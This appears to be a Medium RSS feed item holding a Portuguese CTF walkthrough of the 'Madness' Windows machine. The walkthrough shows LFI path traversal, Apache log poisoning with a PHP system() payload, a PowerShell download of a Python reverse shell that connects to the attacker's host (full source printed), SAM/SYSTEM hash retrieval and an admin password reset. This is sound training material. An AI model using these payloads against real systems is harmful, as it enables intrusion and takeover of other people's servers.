<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by GuardSecBR on Medium]]></title>
        <description><![CDATA[Stories by GuardSecBR on Medium]]></description>
        <link>https://medium.com/@sec.br0x?source=rss-8bee5562002c------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*P2iZKmdDKgole8iK</url>
            <title>Stories by GuardSecBR on Medium</title>
            <link>https://medium.com/@sec.br0x?source=rss-8bee5562002c------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 06 Dec 2026 18:30:41 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@sec.br0x/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Madness — Walkthrough]]></title>
            <link>https://medium.com/@sec.br0x/madness-walkthrough-cc930dede2d1?source=rss-8bee5562002c------2</link>
            <guid isPermaLink="false">https://medium.com/p/cc930dede2d1</guid>
            <category><![CDATA[extremehacking]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[lfi-vulnerability]]></category>
            <category><![CDATA[rce-vulnerability]]></category>
            <category><![CDATA[windows-privilege-esc]]></category>
            <dc:creator><![CDATA[GuardSecBR]]></dc:creator>
            <pubDate>Tue, 06 May 2025 18:45:22 GMT</pubDate>
            <atom:updated>2025-05-08T12:10:26.841Z</atom:updated>
            <content:encoded><![CDATA[<h3>Madness — <strong>Walkthrough | pt-br</strong></h3><h4>Descrição: Encontre o caminho encadeando múltiplas vulnerabilidades, levando você a capturar a bandeira</h4><p>Este é meu primeiro artigo por aqui, e é sobre a máquina “Madness” encontrada no <a href="https://app.extremehacking.io/"><strong>ExtremeHacking</strong></a>.</p><p>Esta é uma máquina Windows com uma vulnerabilidade web.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*8ZpaBuO78_yv0yRe.jpg" /></figure><h3>Índice</h3><ol><li>Enumeração (Portas, serviços e aplicações)</li><li>Explorando as Vulnerabilidades</li><li>Shell!!!</li><li>Escalação de Privilégios</li></ol><h3>1. Enumeração (Portas, serviços e aplicações)</h3><pre>nmap -v -sSV --open $IP</pre><figure><img alt="Output Nmap" src="https://cdn-images-1.medium.com/max/937/1*4eCagFyI58v3n4ujmJSCWg.png" /><figcaption>NMAP</figcaption></figure><blockquote>Já temos algumas informações muito úteis para nossa escalada neste artigo.</blockquote><p>Vamos fazer alguns testes na aplicação web…</p><h3>2. Explorando as vulnerabilidades</h3><blockquote>Acessando a porta 80 (HTTP) temos 4 aplicações web no Índice de /</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/678/1*K8bYGgqFOL7mKqP-YsV3TQ.png" /></figure><blockquote>Notei /antic. Nas duas abas principais (about-us e Contact), recebi um retorno de erro do Xampp.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zwVegRmGeNC3cCUpD3GZhw.png" /><figcaption>Xampp error</figcaption></figure><h4>2.1 LFI</h4><blockquote>Esses erros sugerem fortemente a presença da vulnerabilidade LFI (Inclusão de Arquivo Local).</blockquote><blockquote>Eles indicam que o script PHP está tentando <strong>incluir um arquivo</strong> (about-us.html) com base em um caminho dinâmico, mas o arquivo não foi encontrado, resultando no erro “<strong><em>Failed to open stream</em></strong>”, que se deve à entrada do usuário sem a devida higienização.</blockquote><p>Como já sabemos que o alvo é o Windows, vamos fazer um teste de leitura de arquivos e envenenamento de logs:</p><blockquote><a href="http://ip/antic/index.php?view=../../../windows/system32/drivers/etc/hosts"><em>http://IP/antic/index.php?view=../../../windows/system32/drivers/etc/hosts</em></a></blockquote><figure><img alt="../../../windows/system32/drivers/etc/hosts" src="https://cdn-images-1.medium.com/max/1024/1*rmH4Nv-uyxdVth5YeMqMNw.png" /><figcaption>../../../windows/system32/drivers/etc/hosts</figcaption></figure><blockquote>Vamos tentar ler os logs do Xampp!</blockquote><blockquote>http://IP/antic/index.php?view=../../../xampp/apache/logs/access.log</blockquote><figure><img alt="../../../xampp/apache/logs/access.log" src="https://cdn-images-1.medium.com/max/1024/1*n4NHNxulmebNRNvn-HV6mQ.png" /><figcaption>../../../xampp/apache/logs/access.log</figcaption></figure><h4>2.2 Log Poisoning</h4><blockquote>O envenenamento de log é uma técnica na qual o invasor injeta código malicioso nos arquivos de log de um servidor, como logs de acesso do Apache, e a partir daí, obtém a execução remota de código (RCE).</blockquote><p>Há algumas maneiras de fazer isso funcionar.</p><p>2 exemplos:</p><p><strong>— Github: </strong><a href="https://github.com/nickpupp0/LogPoisoner?tab=readme-ov-file">LogPoisoner</a></p><p>— Comando de RCE via <strong>User-Agent</strong> (Usei o Burp)<br>User-Agent: “&lt;?php system($_GET[‘cmd’]); ?&gt;”</p><blockquote>http://IP/antic/index.php?view=../../../xampp/apache/logs/access.log&amp;cmd=ipconfig</blockquote><figure><img alt="=../../../xampp/apache/logs/access.log&amp;cmd=ipconfig" src="https://cdn-images-1.medium.com/max/972/1*FuNju2AQnR7GbQfT3nYRNA.png" /><figcaption>=../../../xampp/apache/logs/access.log&amp;cmd=ipconfig</figcaption></figure><h3><strong>3. Get the Shell!!!</strong></h3><blockquote>A partir daqui, só precisamos enviar o arquivo para o servidor e obter o shell reverso.</blockquote><blockquote>Atenção!!! Este servidor está com o <strong>antivírus </strong>ativado e atualizado, o que está <strong>bloqueando </strong>vários tipos de arquivos. O que funcionou para mim foi o arquivo <strong>Python</strong>.</blockquote><blockquote>Criei a pasta temporária em C:\ para enviar o arquivo.</blockquote><blockquote>cmd=mkdir C:\temp<br>cmd=dir C:\</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/487/1*_jf7k5aDkK9ckb0YWZoFCA.png" /><figcaption>Pasta temp criada</figcaption></figure><p>Crie e envie o shell reverso em Python:</p><pre>import socket<br>import subprocess<br><br>SERVER_HOST = &quot;ALTER_FOR_YOUR_LHOST&quot;<br>SERVER_PORT = 80<br>BUFFER_SIZE = 1024<br><br>s = socket.socket()<br>s.connect((SERVER_HOST, SERVER_PORT))<br><br>message = s.recv(BUFFER_SIZE).decode()<br>print(&quot;Server:&quot;, message)<br><br>while True:<br>      command = s.recv(BUFFER_SIZE).decode()<br>    if command.lower() == &quot;exit&quot;:<br>        break<br>    output = subprocess.getoutput(command)<br>    s.send(output.encode())<br>s.close()</pre><blockquote>cmd=powershell -ExecutionPolicy Bypass -NoProfile -Command “Invoke-WebRequest -Uri ‘<a href="http://10.1.0.218:8000/shell.py&#39;">http://LHOST:8000/shell.py&#39;</a> -OutFile ‘C:\temp\shell.py’”</blockquote><pre>python3 -m http.server 8000</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*X5neDUspFie4L2UEO8_fGA.png" /><figcaption>Downloaded file</figcaption></figure><blockquote>Inicie o Listener e vamos executar o <strong>shell.py</strong>:</blockquote><blockquote>cmd=C:\temp\shell.py</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/657/1*mSEhnEwB9DddfVdqAu3Vsg.png" /><figcaption>Achieving a reverse shell</figcaption></figure><blockquote>E então recebemos a <strong>primeira </strong>Bandeira do desafio!</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/523/1*XTZR5zEHV7l5lQvkKPL6Zw.png" /><figcaption>First flag local.txt</figcaption></figure><p>Como já somos o administrador da máquina, precisamos <strong>escalar lateralmente</strong> para o usuário <strong>SupremeAdmin </strong>e ler a segunda flag, mas no momento o acesso nos foi <strong>negado</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/991/1*8PBGcW28Ltco7l2IdfIp-w.png" /></figure><h3>4. <strong>Privilege Escalation</strong></h3><blockquote>Entre várias técnicas testadas, incluindo o download dos arquivos de hash <strong>SAM </strong>e <strong>SYSTEM </strong>do Windows e após tentar acessar com a hash do usuário SupremeAdmin, recebemos um retorno de que a <strong>senha expirou</strong>.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/655/1*g_J9uMTprusxH2TGhoq2QA.png" /></figure><p>Tentamos então redefinir a senha do SupremeAdmin e <em>💣</em></p><pre>net user SupremeAdmin &quot;Newpass123&quot;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/554/1*tmXAVcD9D2aIoJKT2PMj8A.png" /><figcaption>Nova senha para o SupremeAdmin</figcaption></figure><p><em>Conseguimos ler a segunda flag:</em></p><pre>xfreerdp /v:IP /u:SupremeAdmin /p:Newpass123</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/632/1*OrreVta-34N6ahqZbyrWpg.png" /></figure><blockquote>Postagem autorizada pela Extreme Hacking.*</blockquote><ul><li>Se você gostou e se foi útil de alguma forma, deixe um <strong>like </strong>e um <strong>comentário</strong>!!! 👍</li></ul><p>Aventure-se nesta <a href="https://app.extremehacking.io/dashboards/challenge/detail/d082fc09-eda3-4b98-8b9f-4307be635c92">Máquina</a>! 😎</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=cc930dede2d1" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>